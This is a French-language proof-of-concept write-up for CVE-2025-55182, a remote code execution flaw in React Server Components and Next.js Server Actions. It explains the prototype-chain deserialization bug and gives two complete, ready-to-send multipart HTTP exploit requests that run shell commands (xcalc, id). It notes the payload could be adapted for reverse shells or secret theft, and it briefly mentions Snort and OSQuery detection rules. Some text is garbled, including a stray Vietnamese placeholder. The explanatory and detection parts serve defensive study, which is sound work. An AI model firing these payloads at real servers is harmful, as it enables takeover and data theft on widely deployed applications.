
Preuve de concept d'exploitation démontrant l'exécution de code à distance via une désérialisation non sécurisée dans le protocole React Flight (CVE-2025-55182). Inclut des règles de détection Snort et OSQuery.
Les React Server Components sont une fonctionnalité introduite dans React 19, permettant aux composants d'être rendus côté serveur plutôt que dans le navigateur du client. Le serveur peut traiter les tâches de calcul complexes tout en n'envoyant que les résultats rendus au client.
La communication entre le serveur et le client dans RSC repose sur le protocole React Flight. Ce protocole gère la sérialisation et la désérialisation des données transmises entre le serveur et le client. Lorsqu'un client doit appeler une fonction côté serveur (Server Action), il envoie une requête au format spécial contenant des données sérialisées que le serveur doit désérialiser et traiter.
Le protocole Flight utilise un format de sérialisation spécifique avec des marqueurs de type de données. Ex. :
C'est précisément ce mécanisme de sérialisation qui héberge la vulnérabilité. Le serveur traite ces références sans valider correctement que les propriétés demandées sont réellement des exports valides du module concerné.
CVE-2025-55182 est essentiellement une vulnérabilité de désérialisation non sécurisée dans la manière dont RSC traite les payloads entrants du protocole Flight. La vulnérabilité se trouve dans la fonction requireModule du paquet react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
Le défaut critique réside dans l'accès par notation entre crochets : moduleExports[metadata[2]]
En JavaScript, lors de l'accès à une propriété par notation entre crochets, le moteur JavaScript ne vérifie pas uniquement les propriétés propres de l'objet, mais parcourt toute la chaîne de prototypes. Cela signifie qu'un attaquant peut référencer des propriétés qui ne sont pas explicitement exportées par le module.
Plus important encore, chaque fonction en JavaScript possède une propriété constructor pointant vers le constructeur Function. En accédant à someFunction.constructor, l'attaquant obtient une référence au constructeur Function global, qui peut exécuter du code JavaScript arbitraire lorsqu'il est appelé avec un argument de type chaîne.
La vulnérabilité devient exploitable car le protocole Flight de React permet au client de spécifier ces chemins de propriétés via la syntaxe de référence séparée par deux-points. Un attaquant peut créer une référence comme $1:constructor:constructor, qui effectue le parcours suivant :
.constructor (obtenant le constructeur Function).constructor une nouvelle fois (toujours le constructeur Function, mais confirmant la chaîne d'accès)Le PoC commence par l'envoi d'une requête multipart form composée de trois champs. Le premier champ contient un faux objet Chunk délibérément conçu :
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Cet objet imite la structure interne de la classe chunk de React. En définissant then comme référence à Chunk.prototype.then, il crée une structure auto-référencée. Lorsque React traite et fait await sur ce Chunk, la méthode then est appelée avec le faux Chunk comme contexte this
Le composant critique suivant est la référence $B1337. Dans le protocole Flight de React, le préfixe $B désigne une référence Blob. Lorsque React traite la référence Blob, il appelle une fonction utilisant : response._formData.get(response._prefix + id)
Ici, l'objet _response a été injecté avec des propriétés malveillantes. Lorsque le gestionnaire Blob exécute : response._formData.get(response._prefix + id)
Il exécute en réalité : Function("process.mainModule.require('child_process').execSync('xcalc');1337")
La raison est que _formData.get est défini sur $1:constructor:constructor, référence qui est résolue en constructeur Function. La valeur _prefix contient le code malveillant. Une fois combinés, le constructeur Function est appelé avec la chaîne de code malveillant comme argument, créant et exécutant une fonction contenant du code JS arbitraire.
Le payload process.mainModule.require('child_process').execSync('xcalc') illustre la capacité de cette exploitation. Le payload :
process.mainModule (le module principal en cours d'exécution)require pour charger le module child_processexecSync pour exécuter une commande du système d'exploitationxcalc) pour démontrer la réussite de l'exploitationCe payload peut être modifié pour établir un reverse shell, extraire des variables d'environnement contenant des informations secrètes, lire des fichiers sensibles ou effectuer toute opération que le processus Node.js a le droit d'exécuter.
Observons une requête complète dans le PoC de maple3142 :
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
L'en-tête Next-Action: x déclenche le mécanisme de traitement des Server Actions de React. Le corps comprend 3 parties :
_response malveillante.$@0 pointant vers le champ 0, créant une structure auto-référencée.Lorsque le serveur traite cette requête, il désérialise le champ 0, rencontre la référence $@0 dans le champ 1, établit la propriété then auto-référencée, puis déclenche le gestionnaire Blob, qui exécute le code via le constructeur Function.
CVE-2025-55182 affecte les React Server Components dans les versions suivantes :
Cette vulnérabilité est dangereuse car :
create-next-app peut être exploitée sans aucune modification du code source.Selon Shodan, il y a plus de 571 000 serveurs publics utilisant des composants React et 444 000 serveurs utilisant Next.js. Bien que tous ne fassent pas tourner des versions affectées, la surface d'attaque potentielle est immense.
Une requête d'attaque doit obligatoirement combiner les éléments très spécifiques suivants :
Next-Action et le format des données est multipart/form-data.Fonctionnement : Cette règle Snort va bloquer/alerter sur le trafic réseau dirigé vers le serveur (to_server) présentant tous les signes anormaux évoqués dans la section 2 (Headers + PCRE vérifiant les chaînes de payload malveillantes).
Objectif : Détecter et empêcher le comportement d'exploitation dès qu'il se produit sur le réseau.
Fonctionnement : Exécuter des commandes d'analyse périodiques sur le serveur ou dans le processus de build logiciel (CI/CD) pour trouver les paquets de bibliothèques Node.js (npm_packages) affectés par la faille.
Paquets ciblés : react-server-dom-parcel, react-server-dom-turbopack, et react-server-dom-webpack
Versions vulnérables analysées : 19.0.0, 19.1.0 à moins de 19.1.2, et 19.2.0.
Objectif : Détecter de manière proactive les applications à risque avant qu'elles n'atteignent l'environnement de production.
Payload pour le laboratoire :
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--